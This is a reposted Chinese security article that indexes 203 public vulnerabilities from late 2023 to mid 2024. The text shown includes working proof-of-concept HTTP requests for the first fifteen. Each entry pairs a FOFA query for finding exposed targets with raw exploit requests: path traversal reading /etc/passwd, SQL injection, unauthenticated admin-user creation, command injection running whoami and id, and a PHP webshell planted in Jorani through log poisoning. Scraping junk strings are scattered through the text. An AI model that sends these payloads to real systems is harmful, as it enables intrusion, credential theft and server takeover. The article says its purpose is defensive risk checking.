互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
& I: u8 H  V9 N: @
  M, Q! L5 R7 ]7 z2 F0 s漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

- Z2 }+ G/ H# F  h+ ?安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
- b0 O4 y& m3 x; C  ]- y! l6 B6 p* c
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
" g+ ]# P* x* h7 f% F9 J: R9 j. Z
! i- G0 O# I6 d- I合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
" p6 Q6 u/ ~2 ^7 v

声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
) J/ D  G- r2 J% m0 O
0 L3 Q6 H. t. ^; Z4 f% d/ C有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

* k) h% d1 u" X! b9 i
3 `- S" q$ k8 m: y0 J
目录

01

- Y5 [; ^  k  r1 ~1 e0 \7 `1 H1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
! E# n7 m2 s9 d8 _3 a4 |3. EasyCVR智能边缘网关 userlist 信息泄漏
9 |8 a* ^" {$ @  X4. EasyCVR视频管理平台存在任意用户添加
3 n& c  w3 U" p7 S+ j, e2 Z5. NUUO NVR 视频存储管理设备远程命令执行
3 Q; B& x# J3 T9 w( y6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
# N6 i9 s& b: K  h9 j4 w( l& C11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
* a5 ~, T5 Q, c1 K12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
" W" s5 o: N8 U" X& U! K" _14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
) _2 Q5 Q3 [" S7 u" x20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
- R& l9 h$ e) D0 v1 x6 G23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
6 s7 I8 G) t' w) d* _/ u24. 用友NC 6.5 accept.jsp任意文件上传
/ v/ ^: d- r, m25. 用友NC registerServlet JNDI 远程代码执行
/ @: F; g  ~6 Y# g; |  \! y9 D$ N26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
+ g5 B4 Z& l+ ~' R7 C29. 用友NC down/bill SQL注入
# T9 V+ w" d! h0 a. w8 i" W7 y3 u30. 用友NC importPml SQL注入
0 G2 h) k! z: ~9 ]) M9 Q. ]! z31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
1 b+ @5 \9 \7 s1 a$ K8 U33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
7 R- w( Y6 R2 @% @) d$ Y- a38. 用友U8 Cloud smartweb2.RPC.d XXE
7 l+ w+ R2 L: Y# K* S8 x) o39. 用友U8 Cloud RegisterServlet SQL注入
, {. h: A/ a4 S: t8 M# ^/ r40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
' R0 G' \  h- U- c% ~/ Y. y43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
( ^# p8 L# K) _, i/ Y5 n; |: B46. 用友GRP-U8 sqcxIndex.jsp SQL注入
( V2 F8 S' n4 q) Y5 c) b' f4 ~/ {47. 用友GRP A++Cloud 政府财务云 任意文件读取
$ n' t* @" {. H3 ]48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
+ c. J4 R$ m1 F7 ?. S: r1 M50. QDocs Smart School 6.4.1 filterRecords SQL注入
. K8 M0 b+ \" R51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
3 [' m& b3 y: P% Y% a" v) e53. 迪普 DPTech VPN Service 任意文件上传
# c; v" i  q2 U* s, z54. 畅捷通T+ getstorewarehousebystore 远程代码执行
2 Z& x% _( D+ p, x55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
% T4 z* s: M& t, H& Q, [! R57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
- V( S' N4 n' K; M" P" [4 w59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
! ~5 R( z& {2 [: S' B2 A3 ^5 `4 b0 ~60. 百卓Smart管理平台 importexport.php SQL注入
. o& z2 `: v9 x& j  L61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
) ~! a  c- W2 J63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
( X$ h$ J# C1 _65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
+ C, |- t$ s/ S) d4 D  n* V* t69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
5 U) H3 e7 l* Q8 e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
- b! S7 H6 Z0 ?# |72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
! L' A  H# Q9 J* s' H74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
" h7 a# d) M8 a" ?" u76. 新开普掌上校园服务管理平台service.action远程命令执行
& _3 s$ y1 \) R! i$ e* R9 H77. F22服装管理软件系统UploadHandler.ashx任意文件上传
% Z7 \; f$ W: m( u78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
; k; \* k$ `2 g! V9 {79. BYTEVALUE 百为流控路由器远程命令执行
, D5 w5 M: o  ?/ X80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- k' L1 G' Y# H4 ^81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
& ~6 q# ~; a7 P* i- Z82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
% c4 _6 f! `" y0 [84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
6 ~( ?0 {6 V& K5 Y! a85. SysAid On-premise< 23.3.36远程代码执行
+ L. E; V( B2 i- O# Z* r3 O* J4 z86. 日本tosei自助洗衣机RCE
/ ~! e* q0 [" S  ^4 P87. 安恒明御安全网关aaa_local_web_preview文件上传
3 L* N1 W7 u3 h4 ^  b1 [) ~  d: x88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
4 u# m" R. H# N, O; s8 t0 x89. 致远互联FE协作办公平台editflow_manager存在sql注入
! p" g' ]& r" T, Y! t" h90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
" t0 }/ q1 t3 R$ l: }91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ i6 G( T/ \3 C8 Z. w92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
- i: o) a  f) Z% o0 l94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
  u5 k# v6 R. z; [" o97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
6 q+ x& K* ^3 ]* G9 m) g, _6 [98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
% \2 G$ ?8 y0 e; \! f102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
  w2 y% |' w7 {4 w. P+ q8 u103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
$ g# K; s- {, u/ G# X# B109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
% P8 d* d5 l3 f! Z111. WordPress Plugin HTML5 Video Player SQL注入
! @! q( |! {) C& {6 i112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
4 N! f! J5 F, Q114. WordPress MasterStudy LMS插件 SQL注入
1 Z/ ^! p5 b! y- o! c4 P; l/ ^115. WordPress Bricks Builder <= 1.9.6 RCE
" ?, C% E$ U& E- G6 A116. wordpress js-support-ticket文件上传
: ?6 C# V# x! Z1 b8 I( L, k$ x3 g117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
, a* e" I7 R) o% k% }- Y% c) L: }120. 北京百绰智能S40管理平台导入web.php任意文件上传
9 Y) t* n1 O: w/ D121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
/ O2 x* F) u* i, Z6 D& {123. Atlassian Confluence 模板注入代码执行
: E1 H+ n( V8 F124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
4 s8 o4 \7 \3 d) x126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
) ^* r, h; f' C: h' t. x! |' I129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
0 J) i) Y7 Q$ |9 f132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
6 d" Q; i: x- V  ]. U* }. A, X# E134. 网康NS-ASG应用安全网关index.php sql注入
' |+ N: g$ ?& s/ D, U4 r# c135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
1 r/ A0 Y$ e- D" x' l3 t136. NextChat cors SSRF
% N4 m7 e# c& q+ \: d  a- h7 K137. 福建科立迅通信指挥调度平台down_file.php sql注入
. u; o! G( @3 \2 x: G0 u& F138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
  \6 |5 t3 T5 H9 U& u' }* P140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
, I3 T- m( `2 C4 S! a( w9 p143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
% j: X3 I" t% l6 e* t145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
9 T6 _) f: o1 x2 w& k8 \. I& S147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
: e1 m) U2 W7 i: k) Q148. CrushFTP 认证绕过模板注入
% \# q/ [' C9 H2 P+ g9 a" P149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
( {0 Q# D  j  E1 k! f) k) b0 ?% R151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
6 X3 l/ h$ `' o6 n154. 天维尔消防救援作战调度平台 SQL注入
$ E( {- A4 p# t; a$ F2 T155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
, W8 ^0 ~. N9 Y- J1 p# v0 Y157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
! i# ~6 m- P* A" b% \' ?. `- [160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
$ p3 ~* I7 }, ]8 b# S162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
& v, U8 L4 f3 y" y1 S3 G169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
3 k: Z9 Q) P- I0 j" L0 t# I; q171. 通天星CMSV6车载定位监控平台 SQL注入
+ E# c* A% w6 G4 U172. DT-高清车牌识别摄像机任意文件读取
7 {9 T1 K/ F$ c! x% J% r173. Check Point 安全网关任意文件读取
9 q4 o4 @! }/ I! }1 w: d174. 金和OA C6 FileDownLoad.aspx 任意文件读取
/ b, I; M: ]5 o: {( v% w  d) {: D175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
7 T! @; i5 b5 I176. 电信网关配置管理系统 rewrite.php 文件上传
! u* O- u1 I4 F. \# g177. H3C路由器敏感信息泄露
* e" E, e3 E  L, l- _0 H4 A. j178. H3C校园网自助服务系统-flexfileupload-任意文件上传
) i) [7 v% G4 n( t9 e179. 建文工程管理系统存在任意文件读取
! r& }9 _* Z" b- N$ P180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- D/ ~' m$ ~) `7 Y5 y1 }" ?182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
6 l4 p4 ?, x  \: a' j. y9 m+ j" j- L184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
3 b2 E. w  f/ d$ n0 n3 i6 k6 H185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
+ Z, i) w4 [9 ~* i+ A% a187. Mura CMS processAsyncObject SQL注入
7 L$ }6 _5 C  A1 O) {8 _188. 叁体-佳会视频会议 attachment 任意文件读取
; _; o; E4 W, \189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
8 C  W5 }5 @; t193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
/ x0 Q( D5 k; b& ^195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
( q7 c3 B; B- z/ v197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
; I0 u& o- ~5 ?  c200. SeaCMS海洋影视管理系统dmku SQL注入
8 g7 [4 L; ?8 ~& o  M8 N, {4 _! \201. 方正全媒体新闻采编系统 binary SQL注入
" H9 V# k$ T/ s* n( J7 W# ?/ @, e202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
3 X) B5 Z! v  O: y
POC列表
. {1 f7 Z) t# ^0 ~7 t; S9 e
02

1. StarRocks MPP数据库未授权访问
: c& w1 L/ H7 D+ i% p7 r  fFOFA ：title="StarRocks"
; ^" _9 r2 u0 ]/ F2 ^GET /mem_tracker HTTP/1.1
) Q/ _- \  a5 `( |  gHost: URL


& `' I5 l0 c3 }1 h, s+ a9 v2. Casdoor系统static任意文件读取
* H, q# Q2 q" }FOFA ：title="Casdoor"
/ `4 Q9 J' }; U3 `5 mGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
/ Q+ y' j# W/ nHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
4 V& F% }" ]0 `) }; z; FConnection: close
Accept: */*
# E) Y) z( R1 XAccept-Language: en
- Q7 q# M$ Y2 R( z: t& v! B, FAccept-Encoding: gzip
7 R. K/ s. W, C; B

3 X* _. f( ?6 S/ l$ b) @3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
" K. E& @7 a% C; z3 s. R) G- W
4 z1 u# ~: H) @8 W1 Z, M
+ J& @$ E0 Z/ v$ E1 t4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
: p* z% Z" e$ r5 fPOST /api/v1/adduser HTTP/1.1
Host: your-ip
9 Y$ l: k' a2 ?. y3 fContent-Type: application/x-www-form-urlencoded; charset=UTF-8

8 d  V6 i; U! j" M. H8 x8 Oname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
4 B  }' F, y' V, l$ [/ T

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
4 K$ W; K5 b5 O1 Z6 k* M( cHost: xx.xx.xx.xx
3 N% G- {- B: A, ~' B: J
: E9 t6 m# P& }7 [
' q! d' \" [0 P' i3 x1 S8 ~% k( Y6. 深信服 NGAF 任意文件读取
2 B5 m6 c4 g4 }: YFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:
3 U+ M1 C. w1 _) S

7. 鸿运主动安全监控云平台任意文件下载
! x# c+ ^$ _% U& G" i( Y0 rFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
& Q% s/ F3 e4 r9 Q# @% tHost:

' M$ M7 W& n4 a1 Z* _* P' h
5 i4 x. r/ P5 u5 N. k; b. d3 }3 M8. 斐讯 Phicomm 路由器RCE
9 b7 @* d5 `" m! J& mFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
5 [+ ^) `7 a  L$ d+ }POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
/ s. j- S: c) }9 e/ l0 dCookie: sysauth=第一步登录获取的cookie
  _: K9 W8 r$ x# r( V7 @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 P8 w$ Q1 R# S: P& i
% B: L4 @& H6 b------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

# y' L& `# b% e: W%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
3 `5 a" ?, E, g9 N------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
3 C  E3 f& {5 @$ f, R3 r
& |$ O" n/ h0 L%s:
+ R" S" M6 X+ g2 V% S------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
+ Z9 T) Q: \& x5 R! H1 [
& D) v; |; k* {( e5 y0 w
------WebKitFormBoundaryxbgjoytz--
3 u& a" a" g! O$ R' p6 T/ G
0 d; Q: f4 v+ @# ]  R7 d( O- P
3 }) Q8 ^0 p2 ?5 y9 z9. 稻壳CMS keyword 未授权SQL注入
  E- V2 w; f6 {# U& I6 lFOFA：app="Doccms"
+ J. g7 `6 Z1 u4 |7 E7 w) gGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
- G1 A* z8 j3 m- {  g# vHost: x.x.x.x
5 A* K# h  q* k$ Z

payload为下列语句的二次Url编码
% V+ }7 O4 V  F7 i* a* T' M) x
3 s$ ]9 w5 e8 f+ O1 E  K' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
+ ~7 A# L( n8 H+ b
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
  D# [# K7 l9 w1 Q9 l9 jFOFA：icon_hash="953405444"
  M0 {6 M5 k8 K9 s* Q' u
文件上传后响应中包含上传文件的路径
  h( M, U' z' r! h8 P, `) }5 yPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
" e% e  V+ c# E5 ]; m) ^3 M& y' T: _; q6 bHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
  |& v: r& i2 [$ J! h3 u+ CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 S& O) b! ]+ i! W9 Y% x, U9 B$ QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* x, V1 f/ i' T/ S- b/ r! `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
+ @0 v5 N2 ~) }. i6 p! J* D
1 J2 u& U" k6 r! `- t2 C; V0 E------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
7 M6 J7 y0 x/ h" H
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
# @9 ~5 d8 ~" U6 z& \0 n. vHost: 127.0.0.1
Pragma: no-cache
" U% ~% A4 m7 hCache-Control: no-cache
, ~- C* A5 e* ^% f2 `Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( H% y7 I9 s6 H/ a, e3 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
' H8 \. s& h) s* g2 {' WConnection: close


12. Jorani < 1.0.2 远程命令执行
) E: x+ e6 C* b+ Q+ v" ?6 K% n6 wFOFA：title="Jorani"
9 x' q1 e+ S1 \: V. E. l' D' \, f2 P+ B第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
. m# g( d& Y5 p0 g- I2 TConnection: close
0 u- A7 g6 i$ J2 PAccept-Encoding: gzip
5 U  U+ Q9 M6 G
/ f" n7 g& d1 D% J' r6 b
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
5 e3 t) t. L' y! YContent-Type: text/html; charset=UTF-8
2 {; ~: T- w, i% e- x  V) m% H, n1 M5 zDate: Tue, 24 Oct 2023 09:34:28 GMT
6 p9 }, z  \7 a' B$ I$ Y$ BExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
9 a4 P( H9 f* S) ^1 IPragma: no-cache
Server: Apache/2.4.54 (Debian)
' r/ ]# K. R. u1 ]# H1 |, x( ESet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
) ]4 N3 w$ o8 ~" q" X* w5 lSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
9 l% M% {  z4 F) s/ y0 U" IVary: Accept-Encoding
$ {& n3 ?" Z: g: V& k) @

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
6 @2 [2 X( W; A" `2 ]3 L9 dConnection: close
Content-Length: 252
* t- f% K, ?( L5 xContent-Type: application/x-www-form-urlencoded
( _+ ~9 k& N& ICookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
: \5 s9 _7 a" n& s# k% e" Q3 a" ?$ h/ [
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
! S2 m8 ~' U8 q: f3 x& _7 X
; G8 I6 z! [; n/ b; f; {

, i0 B" A. I: u0 _/ x向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
2 E  I# R' G' q- k8 K1 YHost: 192.168.190.30
! n; B- S% _" P5 V/ n' e- U. iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
  E8 d5 c) M1 x( \Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 b# V8 N3 U9 o/ g8 W/ DK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
. m! v) ]4 P# z5 E9 W- j+ kX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
2 i# @2 \' @+ R  _

( h" m% r% O, K) ]+ o! V13. 红帆iOffice ioFileDown任意文件读取
9 s2 y5 W, z; z, M! }FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
/ c9 X* ^) R: D2 B9 EAccept: */*
Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
$ o* z6 E" j/ _, S! tFOFA：body="jshERP-boot"
5 ?% b9 g! B6 I. s$ T/ \: \1 i% j9 S泄露内容包括用户名密码
6 u$ A0 O7 E% a6 B+ jGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
0 [& D, X2 f. KConnection: close
" Z' T+ {+ a) mAccept: */*
5 ]' J& B7 N6 X8 U2 E3 `6 hAccept-Language: en
( E2 U' I1 g; _( U! oAccept-Encoding: gzip

. ]( C. {6 {- _' s
15. 华夏ERP getAllList信息泄露
. h' M8 I5 P' N2 r: `5 @CVE-2024-0490
FOFA：body="jshERP-boot"
. S3 N, z  _9 |: r' L  e泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
8 H2 u2 o+ J# jHost: 192.168.40.130:100
